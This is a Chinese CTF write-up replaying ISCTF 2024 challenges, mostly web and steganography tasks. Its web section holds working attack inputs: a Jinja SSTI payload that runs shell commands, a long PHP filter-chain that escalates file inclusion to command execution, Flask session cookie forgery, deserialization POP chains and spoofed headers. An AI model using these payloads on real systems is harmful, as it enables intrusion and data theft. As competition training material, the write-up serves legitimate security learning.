2024的ISCTF的复现
Web
2024-ISCTF WP_isctf2024的wp-CSDN博客
https://xz.aliyun.com/t/12586
SSTI一把梭工具焚靖fenjing - YD233的博客
1z_php
简单的绕过
小蓝鲨的冒险
?b=a[0]=s878926199a
parse_str函数:变量覆盖
s878926199a:0e绕过
num=2024\0
intval()函数:用于获取变量的整数值
intval函数有个特性:直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换。
注意:
require_once $which.'.php'; 是一个 PHP 语句,它用于包含并运行指定的 PHP 文件。
拼接文件名:$which.'.php' 将 $which 变量的值和一个 .php 扩展名拼接起来,形成完整的文件名。
?b=a[0]=s878926199a&which=flag
num=2024.1
小蓝鲨的秘密
考察重定向
打开环境发现存在跳转
bp抓包 题目链接 发包发现hint
小蓝鲨的故事
dirsearch扫描目录存在 robots.txt
此处为key
bp抓包解密原session
进行sseion伪造
{'username': b'www-data'}
{'username': b'ISctf_Hacker'}
python flask_session_cookie_manager3.py encode -s "TcGXH5JY" -t "{'username': b'ISctf_Hacker'}"
bp传入/flag
小蓝鲨的临时存储室
chmod命令越权
ezserialize
<?php
class Flag {
private $flag;
}
class User {
public $username ="username";
public $isAdmin = true;
}
$a=new Flag();
$b = new User('username ', $flag);
//依赖注入
// 将 Flag 对象传递给 User 对象
// b 对象的 __wakeup() 方法都能够访问 a 对象的 $flag 属性,因为 a 对象的 getFlag() 方法被调用来获取标志值
echo serialize($b);
?>
//O:4:"User":2:{s:8:"username";s:8:"username";s:7:"isAdmin";b:1;}
天命人
链头:MD5二次加密
?J=0e215962017
__get() //调用不可访问、不存在的对象成员属性时触发
huoyan,jinjing
__invoke() //把对象当成函数调用时触发
调用参数yun,传入Huoyanjinjing类
__toString() //把对象当成字符串输出触发 e.g echo $a
echo $this->tianming;
__destruct() //类的析构函数,对象被销毁时触发
__sleep() //对象被序列化时触发
//构造pop链
<?php
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;
}
class Tianmingren {
public $tianming;
public $ren;
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
}
$a=new Wuzhishan();
$b=new Huoyanjinjing();
$b->huoyan=$a;
$c=new Dinghaishenzhen();
$c->yun=$b;
$d=new Tianmingren();
$d->tianming=$c;
echo serialize($d);
?>
Wukong=O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里! ";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山! ";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}
25时晓山瑞希生日会
经典 HTTP头伪造,伪造流程如下:
User-Agent: Project Sekai //伪造UA头
X-Forwarded-For:127.0.0.1 //伪造本地用户
伪造日期:Date: Tue, 27 Aug 2024 12:41:59 GMT
ezSSTI
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /flag")|attr("read")()}}
UP!UPloader
分析源代码,构造payload,蚁剑连接发现无果,去看phpinfo,得到flag
或者可以使用以下方法
ezrce
取反绕过
Misc
大佬文章:ISCTF2024-Misc-WP-CSDN博客
小蓝鲨的签到01
小蓝鲨的签到02
下载附件,010查看即可得到flag。
少女的秘密花园
下载附件,放在010查看,发现PK
foremost分离文件,得到base_misc,010查看发现是个压缩包
解压得到flag.txt文件
base64转图片得2.png,再将图片拖进010
随波逐流分析 发现宽高不对,010修改高度得3.png
盲文对照,红色的是数字,盲文对比得JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2。下面三个方形对应括号,然后base32解码就可以得到flag
赢!rar
360zip秒掉,发现flag.txt
随波逐流分析出flag
数字迷雾:在像素中寻找线索
第一次随波逐流,第二次生成的再拖进去
游园地1
百度识图
游园地2
根据图片发现山崎居酒屋,百度识图发现是武汉江汉区的山崎居酒屋
根据题目,有一个圣地巡游,在google中发现关键信息
File_Format
解压之后,有一个不知道后缀名的flag文件,将后缀改成exe得到需要WinAce解压
加载相关软件解压,得到相关提示
使用ARCHPR.exe爆破
输入密码241023
老八奇怪自拍照
watermark
解压压缩包,得到三个文件 一个是压缩包一张png和一个txt
txt 提示水印,所以对图片提取盲水印,得到key2
key2:64oRvUfta9yJsBv
打开key1.txt,根据提示可为文本隐水印
工具:文本隐水印
key1:FAAqDPjpgKJiB6m
拼接就是解压密码
秘密
解压发现是一张需要密码的图片
拖进010,发现是一个伪加密
进行伪加密修复,得到一张图片
将图片拖进010,发现关键信息password
接着用oursecret解密,工具下载:OurSecret文档加密工具资源下载-CSDN博客
打开txt,得到下面的内容
这里涉及到零宽隐写,在线解密得到flag
工具:Unicode Steganography with Zero-Width Characters
奇怪的txt
观察文件夹中的文件大小可以看到73.txt的大小是不同的,打开文件查看可以看到末尾有==,然后其它的文件都是可以进行base64解码的,所以这里猜测这里是需要按照题目描述的方式来将txt文件进行一个拼接,而且73.txt得是最后一个,我们写脚本来进行拼接,从1.txt开始,73.txt结束。
使用ai写一个脚本
神秘ping
解压之后,拖进010,发现需要进行流量分析,拖到最后,不难发现这里的字节都是反过来的,看英文也知道
那就写进行反转操作
with open("ping",'rb') as f: #以二进制的形式读取文件内容content=f.read() reverse_content=content[::-1]
with open("p1ng.pcap",'wb') as b: #以二进制写入b.write(reverse_content)
运行脚本,成功打开流量包
既然和ping有关系,那么就过滤ICMP流量
Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 其原理是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo回显 请求(Echo Request)报文,并根据回复的ICMP回显应答消息(Echo Reply),测试目的站是否可达并获取连接的丢包率和平均往返时间等有关状态信息
参考:[SWPU2019]Network - 跳河离去的鱼 - 博客园
我们用命令将ICMP的ttl都提取出来
tshark -r p1ng.pcap -Y "icmp" -T fields -e ip.ttl > 1.txt
这里使用到的是kali虚拟机
得到1.txt之后,用脚本进行解密
f = open('out.txt', "r")
str = ''
Binary = ''
number = ''
while 1: num = f.readline() if not num: break if num.rstrip() == '63': # 去掉每行后面的空格 Binary = '00' elif num.rstrip() == '64': Binary = '' elif num.rstrip() == '127': Binary = '01' elif num.rstrip() == '191': Binary = '10' elif num.rstrip() == '255': Binary = '11' str += Binary
for i in range(0, len(str), 8): number += chr(int(str[i:i + 8], 2))
print(number)
运行脚本,得到flag
像素圣战
翻译像素圣战,得到一个在线工具PixelJihad
密码是ISCTF,得到一串二进制数据
这里使用到puzzlesolver工具:GitHub - Byxs20/PuzzleSolver: 一款针对CTF竞赛MISC的工具~
starry sky
1.把图片拖进010,发现base64转图片
2.利用在线工具进行解密,得到一张图片
3.保存一下,拖到010当中,发现key为FF
4.刚好有一个xor文件,对其进行操作,发现是一个音频软件
5.将文件后缀修改为wav
6.使用在线des解密,得到flag
Crypto
ISCTF2024-Crypto(不全) - Naby - 博客园
我和小蓝鲨的秘密
from PIL import Image
import numpy as np
from Crypto.Util.number import long_to_bytes
d = 14529273505388659836222611033
n = 29869349657224745144762606999
encrypted_array_path = r"C:\Users\HP\Desktop\我和小蓝鲨的秘密\encrypted_image.npy"
decrypted_array = np.zeros(encrypted_array.shape, dtype=np.uint8)
for i in range(encrypted_array.shape[0]):for j in range(encrypted_array.shape[1]):for k in range(3): # RGB三个通道decrypted_pixel = pow(encrypted_array[i, j, k], d, n)decrypted_array[i, j, k] = int(long_to_bytes(decrypted_pixel)[0])
img = Image.fromarray(decrypted_array.astype(np.uint8))
img.save("decrypted_flag.jpg")
print(" 已经保存为:decrypted_flag.jpg")
ChaCha20-Poly1305
简单的RSA,解出p,q生成一张新图片
Reverse
你知道.elf文件嘛
回答里面的问题得到flag。
PWN
Netcat
使用nc命令,nc 27.25.151.12 20177
以下是未做出的题:
千年樱
考点:使用php://filter
和iconv
转换
1.第一层:
伪造 cookie:
from=ISCTF
2.使用 data 伪协议读文件
name=data://text/plain,ISCTF
3.绕过前面两层,得到以下绕过
这一关加上了一层背景,我们可以F12在检查中将背景删去,之后观察代码
参考文章:
hxp CTF 2021 - The End Of LFI? - 跳跳糖
利用filter过滤器的编码组合构造RCE-腾讯云开发者社区-腾讯云
[PHP]无需可控文件的LFI-RCE学习-CSDN博客
NSSCTF Round#8 web专项赛_多级连接绕过-CSDN博客
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
www.hackdig.com-官网首页
php://filter特性包含任意文件getshell
GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
payload:
poc=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode&cmd=system('cat /flag');
下面的题参考链接:
大佬文章:ISCTF2024
Node.js 常见漏洞学习与总结 - 先知社区